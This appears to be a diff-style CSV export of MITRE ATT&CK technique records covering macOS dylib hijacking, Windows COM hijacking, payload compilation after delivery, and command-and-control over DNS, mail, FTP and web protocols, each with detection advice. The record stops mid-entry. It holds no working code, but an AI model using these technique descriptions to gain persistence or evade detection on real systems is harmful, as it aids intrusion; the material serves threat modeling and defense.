{'source_name': 'MalwareUnicorn macOS Dylib Injection MachO', 'url': 'https://malwareunicorn.org/workshops/macos_dylib_injection.html#5', 'description': 'Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.'}, {'source_name': 'Apple Developer Doco Archive Run-Path', 'url': 'https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html', 'description': 'Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",2.0,True,https://attack.mitre.org/techniques/T1574/004,mitre-attack,T1574.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Dylib Hijacking,"Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added. +Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)",['defense-evasion'],https://attack.mitre.org/techniques/T1027/004,mitre-attack,T1027.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Praetorian', 'Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank']","['File: File Metadata', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution']","['Signature-based detection', 'Host intrusion prevention systems', 'Anti-virus', 'Binary Analysis', 'Static File Analysis']","Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.",True,['User'],"['Linux', 'macOS', 'Windows']",,,,['Compiler software (either native to the system or delivered by the adversary)'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/004', 'external_id': 'T1574.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/471.html', 'external_id': 'CAPEC-471'}, {'source_name': 'Wardle Dylib Hijack Vulnerable Apps', 'description': 'Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.', 'url': 'https://objective-see.com/blog/blog_0x46.html'}, {'source_name': 'Wardle Dylib Hijacking OSX 2015', 'description': 'Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.', 'url': 'https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf'}, {'source_name': 'Github EmpireProject HijackScanner', 'description': 'Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.', 'url': 'https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py'}, {'source_name': 'Github EmpireProject CreateHijacker Dylib', 'description': 'Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.', 'url': 'https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py'}, {'source_name': 'Writing Bad Malware for OSX', 'description': 'Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.', 'url': 'https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf'}, {'source_name': 'wardle artofmalware volume1', 'description': 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.', 'url': 'https://taomm.org/vol1/pdfs.html'}, {'source_name': 'MalwareUnicorn macOS Dylib Injection MachO', 'description': 'Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.', 'url': 'https://malwareunicorn.org/workshops/macos_dylib_injection.html#5'}, {'source_name': 'Apple Developer Doco Archive Run-Path', 'description': 'Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html'}]",2.0,attack-pattern,attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T15:23:30.896Z,2021-04-27T20:19:15.212Z,Dylib Hijacking,"Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added. -Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)",attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490,attack-pattern,"['persistence', 'privilege-escalation', 'defense-evasion']",2021-04-27T20:19:15.212Z,2020-03-16T15:23:30.896Z,"Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. +Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)","['persistence', 'privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1574/004,mitre-attack,T1574.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Module: Module Load']",['Application control'],"Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. -Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)","['File: File Creation', 'File: File Modification', 'Module: Module Load']",,['Application control'],,['macOS'],,CAPEC-471,https://capec.mitre.org/data/definitions/471.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.015', 'url': 'https://attack.mitre.org/techniques/T1546/015'}, {'url': 'https://msdn.microsoft.com/library/ms694363.aspx', 'description': 'Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.', 'source_name': 'Microsoft Component Object Model'}, {'url': 'https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence', 'description': 'G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.', 'source_name': 'GDATA COM Hijacking'}, {'source_name': 'Elastic COM Hijacking', 'description': 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.', 'url': 'https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/015,mitre-attack,T1546.015,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Component Object Model Hijacking,"Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. +Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)",True,,['macOS'],,CAPEC-471,https://capec.mitre.org/data/definitions/471.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/015', 'external_id': 'T1546.015'}, {'source_name': 'Microsoft Component Object Model', 'description': 'Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.', 'url': 'https://msdn.microsoft.com/library/ms694363.aspx'}, {'source_name': 'GDATA COM Hijacking', 'description': 'G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.', 'url': 'https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence'}, {'source_name': 'Elastic COM Hijacking', 'description': 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.', 'url': 'https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com'}]",1.0,attack-pattern,attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-16T14:12:47.923Z,2020-11-10T18:19:44.750Z,Component Object Model Hijacking,"Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. -Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ",attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae,attack-pattern,"['privilege-escalation', 'persistence']",2020-11-10T18:19:44.750Z,2020-03-16T14:12:47.923Z,"There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. +Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/015,mitre-attack,T1546.015,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Elastic'],"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",,"There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. -Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Module: Module Load']",['Elastic'],,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1071.004', 'url': 'https://attack.mitre.org/techniques/T1071/004'}, {'source_name': 'PAN DNS Tunneling', 'url': 'https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling', 'description': 'Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.'}, {'source_name': 'Medium DnsTunneling', 'url': 'https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000', 'description': 'Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1071/004,mitre-attack,T1071.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,DNS,"Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. +Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1071/004', 'external_id': 'T1071.004'}, {'source_name': 'PAN DNS Tunneling', 'description': 'Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020.', 'url': 'https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling'}, {'source_name': 'Medium DnsTunneling', 'description': 'Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020.', 'url': 'https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T16:27:31.768Z,2020-10-21T16:26:34.196Z,DNS,"Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. -The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ",attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72,attack-pattern,['command-and-control'],2020-10-21T16:26:34.196Z,2020-03-15T16:27:31.768Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) +The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ",['command-and-control'],https://attack.mitre.org/techniques/T1071/004,mitre-attack,T1071.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jan Petrov, Citi']","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) -Monitor for DNS traffic to/from known-bad or suspicious domains.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']","['Jan Petrov, Citi']",,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1071.003', 'url': 'https://attack.mitre.org/techniques/T1071/003'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1071/003,mitre-attack,T1071.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Mail Protocols,"Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. +Monitor for DNS traffic to/from known-bad or suspicious domains.",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1071/003', 'external_id': 'T1071.003'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T16:21:45.131Z,2020-10-21T16:35:45.633Z,Mail Protocols,"Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. -Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b,attack-pattern,['command-and-control'],2020-10-21T16:35:45.633Z,2020-03-15T16:21:45.131Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1071.002', 'url': 'https://attack.mitre.org/techniques/T1071/002'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1071/002,mitre-attack,T1071.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,File Transfer Protocols,"Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. +Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",['command-and-control'],https://attack.mitre.org/techniques/T1071/003,mitre-attack,T1071.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1071/002', 'external_id': 'T1071.002'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T16:16:25.763Z,2020-08-21T14:41:22.911Z,File Transfer Protocols,"Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. -Protocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b,attack-pattern,['command-and-control'],2020-08-21T14:41:22.911Z,2020-03-15T16:16:25.763Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1071.001', 'url': 'https://attack.mitre.org/techniques/T1071/001'}, {'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'source_name': 'University of Birmingham C2'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.0,True,https://attack.mitre.org/techniques/T1071/001,mitre-attack,T1071.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Web Protocols,"Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. +Protocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",['command-and-control'],https://attack.mitre.org/techniques/T1071/002,mitre-attack,T1071.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1071/001', 'external_id': 'T1071.001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.0,attack-pattern,attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T16:13:46.151Z,2020-03-26T20:15:35.821Z,Web Protocols,"Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. -Protocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161,attack-pattern,['command-and-control'],2020-03-26T20:15:35.821Z,2020-03-15T16:13:46.151Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) +Protocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",['command-and-control'],https://attack.mitre.org/techniques/T1071/001,mitre-attack,T1071.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) -Monitor for web traffic to/from known-bad or suspicious domains. ","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1572', 'url': 'https://attack.mitre.org/techniques/T1572'}, {'source_name': 'SSH Tunneling', 'url': 'https://www.ssh.com/ssh/tunneling', 'description': 'SSH.COM. (n.d.). SSH 